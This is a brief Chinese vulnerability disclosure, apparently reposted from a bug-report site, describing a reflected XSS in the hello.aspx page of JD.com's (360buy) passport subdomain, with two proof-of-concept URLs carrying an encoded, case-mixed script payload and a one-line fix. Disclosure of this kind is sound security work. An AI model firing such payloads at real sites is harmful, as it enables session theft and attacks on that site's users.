京东商城passport分站XSS一枚 - 网站安全 - 自学p

简要描述：京东商城passport分站存在xss，没有对某参数进行有效过滤，简单编码即可绕过。 详细说明：hello.aspx脚本没有对para参数进行过滤就直接输出到浏览器，导致xss：   具体url：   http://passport.360buy测试数据/new/hello.aspx?para=%27%22%28%29%26%251%3cScRiPt%20%3ealert(/xss/)%3c%2fScRiPt%3e https://passport.360buy测试数据/new/hello.aspx?para=%27%22%28%29%26%251%3cScRiPt%20%3ealert(/xss/)%3c%2fScRiPt%3e 漏洞 证明：     修复方案：有效过滤用户输入，控制输出

查看更多关于京东商城passport分站XSS一枚 - 网站安全 - 自学p的详细内容...